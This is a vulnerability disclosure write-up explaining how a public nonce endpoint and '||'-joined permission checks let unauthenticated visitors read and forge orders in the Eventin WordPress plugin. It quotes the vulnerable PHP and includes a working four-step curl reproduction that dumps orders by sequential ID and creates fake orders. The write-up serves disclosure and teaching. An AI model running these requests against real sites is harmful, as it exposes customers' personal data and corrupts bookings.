When || becomes a vulnerability
How a public REST endpoint dispensing wp_rest nonces — and one short-circuiting || in three permission callbacks — collapsed authorization for 10,000+ WordPress sites running the Eventin plugin.
On April 29, 2026 Patchstack disclosed a vulnerability I reported in Eventin (wp-event-solution), a WordPress plugin for events, ticketing and registration with 10,000+ active installs. Versions ≤ 4.1.8 allowed any unauthenticated visitor to read every customer order — full names, emails, phone numbers, payment methods, and the entire attendees roster — and to create arbitrary orders. The fix is in version 4.1.9.
The interesting part is not any single misconfiguration. It is the composition of two design decisions that on their own look defensible: a public endpoint that hands out a CSRF nonce, and permission callbacks that accept that nonce as authentication. The second decision turns the first into a complete authorization bypass.
Background: WordPress nonces are CSRF tokens, not authentication
WordPress’ wp_create_nonce() derives a short, time-bound token from the action string, the user’s session token, and a 12-hour tick. For logged-in requests the token is bound to the user. For unauthenticated requests the “user id” component is 0 — meaning the nonce is verifiable for any other unauthenticated context that knows the same action string.
That property is fine when the nonce is used for what it was designed for: protecting state-changing requests against CSRF. It becomes a problem the moment a permission check treats it as a substitute for identity.
The endpoint that gives the nonce away
Eventin registers a public REST route whose only job is to return a fresh wp_rest nonce to any caller:
add_action( 'rest_api_init', function () {
register_rest_route( 'eventin/v1', '/nonce', [
'methods' => \WP_REST_Server::READABLE,
'permission_callback' => '__return_true',
'callback' => function () {
nocache_headers();
return rest_ensure_response( [ 'nonce' => wp_create_nonce( 'wp_rest' ) ] );
},
] );
} );The intent is plausible. The plugin’s own frontend forms need a wp_rest nonce, and the developer chose to fetch it on demand instead of embedding it in page HTML via wp_localize_script(). The fatal assumption is that the nonce, by itself, identifies who is making a request. It does not. As of this endpoint’s existence, a valid wp_rest nonce is publicly available to anyone — a fact the downstream controllers do not account for.
Three downstream controllers misuse the nonce as authorization
The first one is the most instructive, because the bug hides behind plausible-looking code:
public function get_item_permissions_check( $request ) {
return current_user_can( 'etn_manage_event' )
|| wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}Read in plain English: “the request is authorized if the current user can manage events, OR if the request carries a valid wp_rest nonce.” Combined with the public nonce dispenser above, the second branch is always satisfiable by any unauthenticated attacker. The capability check on the left of the || becomes irrelevant.
The two remaining controllers are even simpler — no capability check at all:
public function create_item_permissions_check( $request ) {
return wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}public function create_payment_permission_check($request) {
$nonce = $request->get_header('X-WP-Nonce');
return wp_verify_nonce($nonce, 'wp_rest');
}This pattern recurs in plugin code across the WordPress ecosystem whenever a developer wants to “support both AJAX from logged-in admins and AJAX from the frontend.” The mistake is to treat CSRF protection (which is what wp_verify_nonce provides) as authentication. They are orthogonal concerns:
- CSRF protection answers: did this request originate from a page my own application served, rather than from a third-party site tricking the user’s browser?
- Authorization answers: is the user identified by this request allowed to perform this action?
A nonce can answer the first question. It cannot answer the second. They must compose with &&, never with ||.
A separate IDOR makes order enumeration trivial
Even if the authorization check were properly designed, the read handler would still leak any order to any caller who passed it, because there is no ownership verification:
public function get_item( $request ) {
$id = intval( $request['id'] );
$order = new OrderModel( $id );
$response = $this->prepare_item_for_response( $order, $request );
return rest_ensure_response( $response );
}Order IDs are sequential WordPress post IDs (wp_posts.ID), so an attacker who can reach this endpoint at all can dump every order with /orders/1, /orders/2, … The serialized fields per order include customer_fname, customer_lname, customer_email, customer_phone, payment_method, total_price, and the full attendees roster (names, emails, phones, ticket IDs).
For good measure: a fully open seat-booking endpoint
register_rest_route( $this->namespace, $this->rest_base.'/book-seats', [
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [$this, 'book_seats'],
'permission_callback' => function( $request ) {
return true;
},
],
] );No nonce, no capability check — just return true. An unauthenticated attacker can reserve every available seat on a seat-based event, denying legitimate ticket buyers.
Reproduction
End-to-end, four unauthenticated requests are enough to dump and forge data:
# 1. Get a wp_rest nonce as an unauthenticated visitor
NONCE=$(curl -s https://TARGET/wp-json/eventin/v1/nonce | jq -r .nonce)
# 2. Read any order by sequential ID — IDOR + auth bypass
curl -s -H "X-Wp-Nonce: $NONCE" https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 3. Confirm the nonce is the only auth layer: same request without the header → 401
curl -s https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 4. Create a fake order with attacker-controlled data
curl -s -X POST \
-H "X-Wp-Nonce: $NONCE" \
-H "Content-Type: application/json" \
-d '{"event_id":1,"customer_fname":"Attacker","customer_email":"a@evil.com","tickets":[{"ticket_slug":"general","quantity":1}],"attendees":[{"name":"Attacker","email":"a@evil.com","ticket_slug":"general"}]}' \
https://TARGET/wp-json/eventin/v2/orders | jq .Step 3 is the diagnostic moment: it returns { "code":"rest_forbidden", "data":{"status":401} }, confirming that the nonce alone — the one any visitor can fetch in step 1 — is what the controller is treating as authentication.
Why this generalizes beyond WordPress
The specific bug is a WordPress idiom (wp_verify_nonce + current_user_can). The underlying mistake is general: conflating CSRF protection with authentication.
Equivalent versions of this bug appear in:
- Express / Node.js apps using
csurfmiddleware as if it implemented session validation. - Spring / Java apps where the
HttpSecurity.csrf()DSL policy is treated as a substitute for@PreAuthorizeannotations orSecurityFilterChainauthorization rules. - Django apps where
@csrf_exemptor@csrf_protectare reasoned about as if they affected thelogin_required/permission_requireddecorator chain. - Any framework that ships a “double-submit cookie” or “synchronizer token” CSRF defense and exposes a route to fetch the token without authentication.
The defensive recommendation is the same in every framework: CSRF tokens are public-by-design once the user has loaded the page; what protects access is identity + capability, checked on every state-changing request, composed with &&, never with ||.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-10 | Reported to Patchstack |
| 2026-04-07 | Vendor releases Eventin 4.1.9 (fix) |
| 2026-04-13 | Coordination milestone (Patchstack) |
| 2026-04-29 | Public disclosure (Patchstack advisory) |
| 2026-05-01 | Third-party trackers pick it up (WP-Firewall, Managed-WP, SolidWP) |
| 2026-05-05 | This writeup published |
Mitigation
Update wp-event-solution to 4.1.9 or later. There is no in-version workaround for older releases short of disabling the plugin or blocking the affected REST routes at the web-server / WAF layer (/wp-json/eventin/v1/nonce, /wp-json/eventin/v2/orders*, /wp-json/eventin/v2/payments, /wp-json/eventin/v2/orders/book-seats).
For plugin authors: if a nonce is required for frontend forms, embed it via wp_localize_script() in the page HTML that the user has already authenticated to load — not as a public REST endpoint. And keep the capability check on the left side of an &&, not on the left side of an ||.
Full advisory and PoC
Repository with the full Patchstack-style advisory, white-box code review, disclosure timeline, references and a reproducible PoC script.
Lorenzo Fradeani is an independent security researcher focused on WordPress plugin vulnerability research and offensive security tooling. Available for AppSec collaborations and pentest engagements from Massa-Carrara and remote. Get in touch.